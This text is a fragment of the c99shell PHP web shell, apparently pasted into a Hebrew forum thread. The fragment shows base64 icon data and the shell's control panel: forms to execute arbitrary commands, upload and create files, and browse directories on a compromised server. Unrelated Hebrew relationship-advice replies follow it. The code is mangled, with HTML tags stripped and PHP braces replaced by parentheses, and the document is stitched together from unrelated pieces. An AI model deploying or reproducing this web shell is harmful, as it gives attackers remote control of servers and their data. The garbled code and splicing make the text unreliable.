"aabmmwbmzgbmmqbmzabm/wczaaczmwczzgczmqczzacz/wdmaadmmwdmzgdmmqdmzadm/wd/aad/".
"mwd/zgd/mqd/zad//zmaadmamzmazjmamtmazdma/zmzadmzmzmzzjmzmtmzzdmz/znmadnmmznm".
"zjnmmtnmzdnm/zozadozmzozzjozmtozzdoz/zpmadpmmzpmzjpmmtpmzdpm/zp/adp/mzp/zjp/".
"mtp/zdp//2yaagyam2yazmyamwyazgya/2yzagyzm2yzzmyzmwyzzgyz/2zmagzmm2zmzmzmmwzm".
"zgzm/2azagazm2azzmazmwazzgaz/2bmagbmm2bmzmbmmwbmzgbm/2b/agb/m2b/zmb/mwb/zgb/".
"/5kaajkam5kazpkamzkazjka/5kzajkzm5kzzpkzmzkzzjkz/5lmajlmm5lmzplmmzlmzjlm/5mz".
"ajmzm5mzzpmzmzmzzjmz/5nmajnmm5nmzpnmmznmzjnm/5n/ajn/m5n/zpn/mzn/zjn//8waamwa".
"m8wazswamcwazmwa/8wzamwzm8wzzswzmcwzzmwz/8xmamxmm8xmzsxmmcxmzmxm/8yzamyzm8yz".
"zsyzmcyzzmyz/8zmamzmm8zmzszmmczmzmzm/8z/amz/m8z/zsz/mcz/zmz///8aap8am/8azv8a".
"mf8azp8a//8zap8zm/8zzv8zmf8zzp8z//9map9mm/9mzv9mmf9mzp9m//+zap+zm/+zzv+zmf+z".
"zp+z///map/mm//mzv/mmf/mzp/m////ap//m///zv//mf//zp///yh5baeaabaalaaaaaajaaoa".
"aagjap8jrefq4d+ccboimmhqockdebcujeirossbfjfenohwyuaaow==",
"sql_button_insert"=
"r0lgodlhdqamapcaaaaaaiaaaacaaicaaaaagiaagacagicagmdawp8aaad/ap//aaaa//8a/wd/".
"/////waaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaamwaazgaamqaazaaa/wazaaazmwazzgazmqazzaaz/wbm".
"aabmmwbmzgbmmqbmzabm/wczaaczmwczzgczmqczzacz/wdmaadmmwdmzgdmmqdmzadm/wd/aad/".
"mwd/zgd/mqd/zad//zmaadmamzmazjmamtmazdma/zmzadmzmzmzzjmzmtmzzdmz/znmadnmmznm".
"zjnmmtnmzdnm/zozadozmzozzjozmtozzdoz/zpmadpmmzpmzjpmmtpmzdpm/zp/adp/mzp/zjp/".
"mtp/zdp//2yaagyam2yazmyamwyazgya/2yzagyzm2yzzmyzmwyzzgyz/2zmagzmm2zmzmzmmwzm".
"zgzm/2azagazm2azzmazmwazzgaz/2bmagbmm2bmzmbmmwbmzgbm/2b/agb/m2b/zmb/mwb/zgb/".
"/5kaajkam5kazpkamzkazjka/5kzajkzm5kzzpkzmzkzzjkz/5lmajlmm5lmzplmmzlmzjlm/5mz".
"ajmzm5mzzpmzmzmzzjmz/5nmajnmm5nmzpnmmznmzjnm/5n/ajn/m5n/zpn/mzn/zjn//8waamwa".
"m8wazswamcwazmwa/8wzamwzm8wzzswzmcwzzmwz/8xmamxmm8xmzsxmmcxmzmxm/8yzamyzm8yz".
"zsyzmcyzzmyz/8zmamzmm8zmzszmmczmzmzm/8z/amz/m8z/zsz/mcz/zmz///8aap8am/8azv8a".
"mf8azp8a//8zap8zm/8zzv8zmf8zzp8z//9map9mm/9mzv9mmf9mzp9m//+zap+zm/+zzv+zmf+z".
"zp+z///map/mm//mzv/mmf/mzp/m////ap//m///zv//mf//zp///yh5baeaabaalaaaaaanaawa".
"aagzafeiheiwomgdcbh6w0gtoub//1benoip2skeczneniiqy0d/fbf+y0jr48eqguc6jbgqads=",
"up"=
"r0lgodlhfaaualmaaaaaap////j4+opj493d3czmzlkysoaghk1ntf///waaaaaaaaaaaaaaaaaa".
"aaaaach5baeaaakalaaaaaauabqaaar0mmljq734ns1pnkcgjgxwhcnqrivhmfonzxwqjnie27jg".
"+4qgy3xgbx4iohdlmhrvggfigiswws5xydftwplej+9hqcyx2c1yedrfwwfxtop4p53pwlkojvvv".
"ixtdgwgdpgdyfng1ivejatiakpoulzyfhxeaow==",
"write"=
"r0lgodlhfaaualmaaaaaap///93d3czmzlkysoaghmzmzl9fxwqebp///waaaaaaaaaaaaaaaaaa".
"aaaaach5baeaaakalaaaaaauabqaaar0mmljqyzfalqeqjugeqscnwg6fogpkhamf4hajswh7/ze".
"eqyqluasggm0wwt3bcjfqsfx10yybljn8rfemgm9x+3qhwq5ied5ycsmcl111kndpuxfyls+ik61".
"lxd+wwehlud/tojfzqooj5crjicblzaxibeaow==",
"ext_asp"=
"r0lgoddheaaqalmaaaaaaiaaaacaaicaaaaagiaagacagmdawicagp8aaad/ap//aaaa//8a/wd/".
"/////ywaaaaaeaaqaaaesvdisasf2n6dmnas8bxfl1uiozye9auwgpdtq6qp/ix0oz7axu/1ergi".
"d6hphzjselydyabsdcwmzwhg3wwtkk4qrmhohcas+habads=",
"ext_mp3"=
"r0lgodlheaaqaciaach5baeaaayalaaaaaaqabaaggaaap///4cagmdawicaap//aaaaaaaaaanu".
"agrs7iukqgsyiqpp6qizrdqwyailqqsa2g2o4qoashgwvbban3gx1qxa+r1abqhrzhmedsycz3fc".
"igtgt8wauwltzwwnwrv3ldnxym1ub6gnedwbads=",
"ext_avi"=
"r0lgodlheaaqaciaach5baeaaaualaaaaaaqabaaggaaap///4cagmdawp8aaaaaaaaaaaaaaanm".
"wfrs7iukqgsyiqpp6qiz1ffacyijb4rmqjby01dwwg44gasrp5qfk24huohodjwsu/ihbytcjxe4".
"pyxcyg+v2i44xermsfyqsghaaga7",
"ext_cgi"=
"r0lgodlheaaqagyaach5baeaaewalaaaaaaqabaahgaaajtqchd3d7inga+hmu7er9gic6+ioou9".
"dkjapqyfqql/n/dlhsyyfe67af/sfp/8kf/9ld9etv/pcv/cq//env/xif/zkp/rdv/blf/cmah6".
"lppyrvzgr+vgx7yvmv/luv/mtv/fof/mav/mcf/na//qif/map/tff/xp7uzvf/wip/obqt/hv/s".
"ev/hp+7oop/whv/wbhnfp4vzv7upfv/pv//rxf/ycf/zdv/0eunjwenkwsykik9rwmytp//4iepq".
"xv/9qfbptp/uz93ginq6xwprj//iqv7wsqueqv/jraaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaeegeycg0wbhiehayqijaewhoyeaqqxbjcrhqmua5esioogiwafi4um".
"bagnfbmcdr4fqwwbagegsbbefswxnhaygg6wakwcbagvfiuiobegnuc7w4icnd8pkcfaoi0jpnkd".
"akungtkrnwms34mbjbgdrkjlcd7qggepkxsjkiytbwejkjhqkk7ahxq9fqglmgbgkg8kfcg8jkai".
"rytmageaow==",
"ext_cmd"=
"r0lgodlheaaqaciaach5baeaaacalaaaaaaqabaaggaaap///4cagmdawaaagicaap//aaaaaani".
"elrcjzdkcye9+aogbvlg+g2dsaqaipid5xjdim+0znjfkdl3dbg6hmxwmeaahvlpbhgydryhdqcn".
"dmryamn1onq/ykpjvegaads=",
"ext_cpp"=
"r0lgodlheaaqaciaach5baeaaaualaaaaaaqabaagv///waaaaaagicagmdawaaaaaaaaaaaaanc".
"wlpc9xcasscz8mlkicobbwrkeikvywqt4ficoj5v7c6s3cqrarwine/349finofw44rtlqhol4ra".
"eq7yrlde7a4sads=",
"ext_ini"=
"r0lgodlheaaqaciaach5baeaaayalaaaaaaqabaaggaaap///8dawicagicaap//aaaaaaaaaanl".
"aarb3ioankk9mnbhs6lbkiocoi1ouj4n4dcqqybpum6hq8p3hwoegu3mawelbeapfiauamgyy3vm".
"snejgpvarhehgrb43jvszsqeads=",
"ext_diz"=
"r0lgodlheaaqahcaach5baeaajualaaaaaaqabaahwaaap///15phcfb6nls/7pc/+p0/3j+l9bs".
"/52nuqjk5/n///j///7///r//0trlspn/8nn/8nz5trm79nu/8/q/9xt/9zw/93w/+j1/9hr/+dv".
"/d7v/73h0mju39zu/9br/8ne8txn+k6/z8xj/ljv7ddp/6k4y8bl/5o42oz2/7hw9ju92u/9/8t3".
"/+l//+7+/+v6/+/6/9h4/+x6/+xl5pz//+/t7fx08vd//+3///p///h///p7/8nq/8fp/8tl98zr".
"/+/z9vt4++n1/b/k/dny/9hv/+v4/9/0/9fw/8/u/8vt/+/09xuvxhqtw4kts2v1kw4ovtdypdzx".
"pvxqhlxqiexkimkbtmpl2ftvj2ov6aouwpqlulyn3cno1waaxqaazsm8je5xjgaabwaaeurbygaa".
"daaadzzeae9wwdzypmvvir49jg12kchfmgyuj6+1xeln7nzj6pm20oeqyps212sjracyxzwyz7pw".
"9c/o/87n/8dx7mhy7q/k5lfx9arb1srl/2+fzq290u14q7fcz6e2yxum30fjlclhc4exr6bi+btk".
"4rfw+nxe6oby/5svzwshr+br8wukrqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aajgacsjrdrhsicdq7imxdgjx8evzuicbpboozwbbwomafmmywbca2secnbjjcmyatlioliokocm".
"c1qskaclcxcgbj7esnhoqaciscc1mnamjjgggebqobhigkenbjhccbaizrogfkwqmnknyggrsrag".
"2bhpdbueewrv0pdhcp4bsgjw0zghzjqcevd4iehjzykbfo4seygldbwgtcaayvfe4kebjyi4urpf".
"cyiik+woyjmwqqi6cor8mkenxr0nahykjhjfqyeckqsksa164im6lhlrrr3wwabcu3kpfkcldkaa".
"ow==",
"ext_doc"=
"r0lgodlheaaqaciaach5baeaaaualaaaaaaqabaaggaaap///8dawaaa/4cagaaaaaaaaaaaaanr".
"wercrrcqqcslqa2wowdxkifwnvba+nme4azcuolnrwkwf9qgeopafg21a+z4sqho94r1ejrtjvmq".
"miorrpswwzrcza6kaolbcob0woxrud0jads=",
"ext_exe"=
"r0lgodlhewaoakiaaaaaap///waavcbgxosehp///waaaaaaach5baeaaaualaaaaaataa4aaam7".
"wltctiwsqautbeq1hp+gl21tkaqaio7s8lxag8x0pbocrqf4tnu9wa8whnkkrl4sl+y9ybuadeqt".
"xhiaow==",
"ext_h"=
"r0lgodlheaaqaciaach5baeaaaualaaaaaaqabaagv///waaaaaagicagmdawaaaaaaaaaaaaanb".
"wlpc9xcasscz8mlkccarrwvkeakcibkmnqvrq7wpbmmbbbonrgi8f+q3w9goqomqgzyjospnmkko".
"wq/nknbbsgaaow==",
"ext_hpp"=
"r0lgodlheaaqaciaach5baeaaaualaaaaaaqabaagv///waaaaaagicagmdawaaaaaaaaaaaaanf".
"wlpc9xcasscz8mlkicobbwrkeagciakeqafqpbznmk42/d43yrokmladlpbis6lwknafj7jfawvr".
"uquagnbldza+yfccads=",
"ext_htaccess"=
"r0lgodlheaaqaciaach5baeaaayalaaaaaaqabaaggaaap8aap8a/waagiaagp//aaaaaaaaaam6".
"wexw/k6ragsjmfoygnbbewjdb25dgzzvckgsr8lhsnprpq406pafmkdwuumivjboraaaleudewpj".
"aaa7",
"ext_html"=
"r0lgodlhewaqalmaaaaaap///2trnm3p/fbvhrpo9l6itoyt0yhgk+xy/wgp4sxl/i6z4mfd/hnz".
"c////yh5baeaaa8alaaaaaatabaaaast8ml3qq1m6nmc/4ghbfoxjeo1candsocigkbachi20u3p".
"kifgijaqodsibwo5naxrrmtggdgkmm7e6iiphzykbvnqsbsikuksww4jymcupyfgibql/mk8kbdk".
"bkx2bxwdfx8tddafda0kbad9fnikhxyibjghbqohcg+vcikva5wlpygbbkurdqysnxmos7s1sxir".
"ads=",
"ext_jpg"=
"r0lgodlheaaqadmaach5baeaaakalaaaaaaqabaagwaaap///8dawicagicaap8aaad/aiaaaaca".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaarccmhjk70j6k3fufbgbulwjcuhjghgakuqegjneeagxeci".
"ci8alsalaxcgjk5o1agsbsiacabgjgcewamexp0bbmll/a6x5wztpfq2g6+0j8vx+7b4/nzqgftd".
"fxeaow==",
"ext_js"=
"r0lgoddheaaqaciaacwaaaaaeaaqail///8aaacagidawmd//wcagaaaaaaaaaaduci63cegxibh".
"k0aqsg200aqujbgaomihj5dmixnmjxtqq1dde0ewohsg16m9mooaiswemtiuc4tw2bb0l8fgiahs".
"a00ajyybbc/o9hjnniuaads=",
"ext_lnk"=
"r0lgodlheaaqagyaach5baeaafaalaaaaaaqabaahgaaaabiagplmmxmm0y/jlfflfs6k1rglwjo".
"nsmuftwzgkc5ig3too/1xe7ajx2od5x7yotquyrwv3/lthtaqxnfrmdgmyxrujkqhwamagfnrhzi".
"uww5caaqadozgkaslxlyqghibbn3dvg2nwnprndwrwboab5wfqbbaaa+afg3nak5bsgheuqwmabk".
"aaagaaawaabfade0gxelcxzcdek6iuuxkfjfle3aj2hhmrkicqwcagbmabptdg+hcbzedaqfbwdg".
"mymufqpwbj2fjhdvdqhobc6xf3fdr0o6ir2odwazahpzqcsregasadaxhwaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaezgfbqpagfhocagoi7og8jcgsebqiwpqcjgkcokjkup5eyud6pkzm5".
"nkckudmyntg3agg2s5equepjdgcdcaxmt06hgk26vawufuhdtypcuwzbybmrrmycrwmgrkug0xif".
"1laebieagrgxeg0t4swrocyldran4smpkcoqjc/hqvaungzg8e9rkbejybs0jshgh4umoyasbiuq".
"ads=",
"ext_log"=
"r0lgodlheaaqadmaach5baeaaagalaaaaaaqabaag////waaamdawicagicaaaaagaaa////aaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaarqekewk6uybzc475gealtjkllrawzbclrhrk4ly5yg7/wn".
"zlualgbqbv2egflv4xeosswt9gqqbprpqxovnapkkfb5eh/lmugzf5qe3+emigiaow==",
"ext_php"=
"r0lgodlheaaqaaaaach5baeaaaealaaaaaaqabaagaaaaaaaaaimda6hy5rw0hgosffsdtpqvflg".
"t0hkyz3q6qloz7jimomveb+uxaaaow==",
"ext_pl"=
"r0lgodlhfaauakl/ap/4/8dawh9/ap/4al+/vwaaaaaaaaaaach5baeaaaealaaaaaauabqaqamo".
"glrc3goamyr4ooudreegrlbwsj1lqk5s64ljwf3cqmjpjpdf6//abaa7",
"ext_swf"=
"r0lgodlhfaauamqrap+cnp9sus4aap+cap/oaiqaap9jam5jnm6cy86cnkxo98bexpwaap8xap/o".
"naaaap///////waaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaach5baea".
"abealaaaaaauabqaaav7ycsozgme6pmsbmuquczp0aplzhabupnqawee52g0fdkcmggoom4qb4ga".
"gbgat2gmqygvjufst3yofgkbrgbqpjgydefxxrpdgeia4xaqqnr1nhomeaacabfhiz8rcncmaggc".
"nyslkdotscsjndjantuqlqm2kaanqbehads=",
"ext_tar"=
"r0lgodlheaaqagyaach5baeaaesalaaaaaaqabaahgaaabloafgdafaaaiycuwa8zwa8z9dy4jic".
"wv///wciwbe2aaayujicqishl4caapd4/+dg8px6/5oxpl7h0+/2/agmstiymttc5p//sfl5/8xf".
"hgbypwbulgbwn1bqag8aiabqhrbfmwdckv+h11nouellrizipf+v3npa/40cuzmm/wa4xhvdaagd".
"uywd/0it/1u1/3nzap950p990mo5/7v14yzvzxlrwoxi/5vs/7dk/wbxov9syvrjwohatqchv17p".
"uo0guqbwnp++8lm5ap+j5qbulackwga4bjjqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaaaaaaeegakcg4sfsxynew4gmgsoj48dfacheuizreyojdqzpt4/awcqcqkg".
"gwipqqkqaxiafrgxdwo1trcaubq7viejdiwhbcpexaytlsezozo5ktuxmcsvdkolsrschdwehkmd".
"hucmr7gzbufo6ay87lu+ii0fafp09avier8znjc4qsumtogyscbaaivfkchyybciiwxkzd2or3fb".
"u4tlageaow==",
"ext_txt"=
"r0lgodlhewaqakiaaaaaap///8bgxosehp///waaaaaaaaaaach5baeaaaqalaaaaaatabaaaanj".
"sare3ldjfka91rkpa/dgj3jbaz6lsckw6qqkb4jzf8bs6544w9zaw4+g26vwxf9wdowzmznleup7".
"uppwg3ig6hq/xmrjuzwkaaa7",
"ext_wri"=
"r0lgodlheaaqadmaach5baeaaagalaaaaaaqabaag////waaaicagmdawicaaaaagaaa////aaaa".
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaarrumhjkb0c6k2hueircdsafkexkkdgbovxstwaaypduoao".
"a4sxt0c4bf0ruhfaeaqqi9dmebrew8yxc6nx2qi7lrybtpjznsxgzw6nldq49hibads=",
"ext_xml"=
"r0lgodlheaaqaeqaach5baeaabaalaaaaaaqabaahp///waaaphx8yaghjnmmabk8aaamqaagaca".
"gdozadnm/zoz/zp//8dawdpm/waa/waaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
"aaaaaaaaaaaaaaaaaavk4ccopaid0acsbnsmqnquaia0ajzsdl8hwmboukgheapbesbufqwabicx".
"oaamxebthma4eocatgnykhajhxuribnrh7jyt/pza+0hyc/n02v4dzzufyv/pigjbokbqkgpkeeq".
"iqa7"
);
//for simple size- and speed-optimization.
$imgequals = array (
"ext_tar"=array ("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
"ext_php"=array ("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
"ext_jpg"=array ("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
"ext_html"=array ("ext_html","ext_htm"),
"ext_avi"=array ("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
"ext_lnk"=array ("ext_lnk","ext_url"),
"ext_ini"=array ("ext_ini","ext_css","ext_inf"),
"ext_doc"=array ("ext_doc","ext_dot"),
"ext_js"=array ("ext_js","ext_vbs"),
"ext_cmd"=array ("ext_cmd","ext_bat","ext_pif"),
"ext_wri"=array ("ext_wri","ext_rtf"),
"ext_swf"=array ("ext_swf","ext_fla"),
"ext_mp3"=array ("ext_mp3","ext_au","ext_midi","ext_mid"),
"ext_htaccess"=array ("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
);
if (!$getall)
(
header ("content-type: image/gif");
header ("cache-control: public");
header ("expires: ".date ("r",mktime (0,0,0,1,1,2030)));
header ("cache-control: max-age=". (60*60*24*7));
header ("last-modified: ".date ("r",filemtime (__file__)));
foreach ($imgequals as $k=$v) (if (in_array ($img,$v)) ($img = $k; break;))
if (empty ($images ($img))) ($img = "small_unk";)
if (in_array ($img,$ext_tar)) ($img = "ext_tar";)
echo base64_decode ($images ($img));
)
else
(
foreach ($imgequals as $a=$b) (foreach ($b as $d) (if ($a!= $d) (if (!empty ($images ($d))) (echo ("warning! remove \$images (".$d.")br");))))
natsort ($images);
$k = array_keys ($images);
echo "center";
foreach ($k as $u) (echo $u.":img src=\"".$surl."act=img&img=".$u."\" border=\"1\"br";)
echo "/center";
)
exit;
)
if ($act == "about") (echo "centerbcredits:bridea, leading and coding by tristram (ccteam).brbeta-testing and some tips - nukleon (antish@re team).brthanks all who report bugs.brall bugs send to tristram's icq #656555 a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle/a./b";)
?
/td/tr/tablea bookmark="minipanel"brtable style="border-collapse: collapse" cellspacing=0 bordercolordark=#666666 cellpadding=5 height="1" width="100%" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1
trtd width="100%" height="1" valign="top" colspan="2"p align="center"b:: a href="?php echo $surl;?act=cmd&d=?php echo urlencode ($d);?"bcommand execute/b/a::/b/p/td/tr
trtd width="50%" height="1" valign="top"centerbenter: /bform action="?php echo $surl;?act=cmd" method="post"input type="hidden" name="act" value="cmd"input type="hidden" name="d" value="?php echo $dispd;?"input type="text" name="cmd" size="50" value="?php echo htmlspecialchars ($cmd);?"input type="hidden" name="cmd_txt" value="1" input type="submit" name="submit" value="execute"/form/tdtd width="50%" height="1" valign="top"centerbselect: /bform action="?php echo $surl;?act=cmd" method="post"input type="hidden" name="act" value="cmd"input type="hidden" name="d" value="?php echo $dispd;?"select name="cmd"?php foreach ($cmdaliases as $als) (echo "option value=\"".htmlspecialchars ($als (1))."\"".htmlspecialchars ($als (0))."/option";)?/selectinput type="hidden" name="cmd_txt" value="1" input type="submit" name="submit" value="execute"/form/td/tr/table
br
table style="border-collapse: collapse" cellspacing=0 bordercolordark=#666666 cellpadding=5 height="1" width="100%" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1
tr
td width="50%" height="1" valign="top"centerb:: a href="?php echo $surl;?act=search&d=?php echo urlencode ($d);?"bsearch/b/a::/bform method="post"input type="hidden" name="act" value="search"input type="hidden" name="d" value="?php echo $dispd;?"input type="text" name="search_name" size="29" value=" (.*)" input type="checkbox" name="search_name_regexp" value="1" checked - regexp input type="submit" name="submit" value="search"/form/center/p/td
td width="50%" height="1" valign="top"centerb:: a href="?php echo $surl;?act=upload&d=?php echo $ud;?"bupload/b/a::/bform method="post" enctype="multipart/form-data"input type="hidden" name="act" value="upload"input type="file" name="uploadfile"input type="hidden" name="miniform" value="1" input type=submit name=submit value="upload"br?php echo $wdt;?/form/center/td
/tr
/table
brtable style="border-collapse: collapse" cellspacing=0 bordercolordark=#666666 cellpadding=5 height="1" width="100%" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1trtd width="50%" height="1" valign="top"centerb:: make dir::/bform method="post"input type="hidden" name="act" value="mkdir"input type="hidden" name="d" value="?php echo $dispd;?"input type="text" name="mkdir" size="50" value="?php echo $dispd;?" input type="submit" value="create"br?php echo $wdt;?/form/center/tdtd width="50%" height="1" valign="top"centerb:: make file::/bform method="post"input type="hidden" name="act" value="mkfile"input type="hidden" name="d" value="?php echo $dispd;?"input type="text" name="mkfile" size="50" value="?php echo $dispd;?"input type="hidden" name="ft" value="edit" input type="submit" value="create"br?php echo $wdt;?/form/center/td/tr/table
brtable style="border-collapse: collapse" cellspacing=0 bordercolordark=#666666 cellpadding=5 height="1" width="100%" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1trtd width="50%" height="1" valign="top"centerb:: go dir::/bform action="?php echo htmlspecialchars ($surl);?"input type="hidden" name="act" value="ls"input type="text" name="d" size="50" value="?php echo $dispd;?" input type="submit" value="go"/form/center/tdtd width="50%" height="1" valign="top"centerb:: go file::/bform action="?php echo htmlspecialchars ($surl);?"input type="hidden" name="act" value="gofile"input type="hidden" name="d" value="?php echo $dispd;?"input type="text" name="f" size="50" value="?php echo $dispd;?" input type="submit" value="go"/form/center/td/tr/table
brtable style="border-collapse: collapse" height=1 cellspacing=0 bordercolordark=#666666 cellpadding=0 width="100%" bgcolor=#333333 bordercolorlight=#c0c0c0 border=1trtd width="990" height="1" valign="top"p align="center"b-- ( c99shell v.?php echo $shver;? a href="?php echo $surl;?act=about"ubpowered by/b/u/a captain crunch security team | a href="http://ccteam.ru"font color="#ff0000"http://ccteam.ru/font/afont color="#ff0000"/font | generation time:?php echo round (getmicrotime ()-starttime,4);? )--/b/p/td/tr/table
/body/html?php chdir ($lastdir); exit;
//add php tags before usage
?
הוא לא שווה את זה!
תמצאי מישהו אחר!
תמצאי מישהו אחר!
מי הדפוק שרשם את הדבר המוזר הזה? o_o
ואל תשחקי אותה יותר מידי.. ואם הוא לא מנסה להשיג אותך ומוותר כול כך מהר הוא לא שווה אותך.
ואל תשחקי אותה יותר מידי.. ואם הוא לא מנסה להשיג אותך ומוותר כול כך מהר הוא לא שווה אותך.
הדבר הכיי נכון לעשות זה לדבר איתו ולהגיד לו את כל מה שיושב לך על הלב...
אנונימי
חח לא נראה לי שכדאי להרוס לו.. אבל יש מצב שהוא רוצה לגרום לך לקנאות d:
וואי.. אני עייף מכל המסע הארוך הזה למטה...
והוא לא שווה את זה...
והוא לא שווה את זה...
באותו הנושא: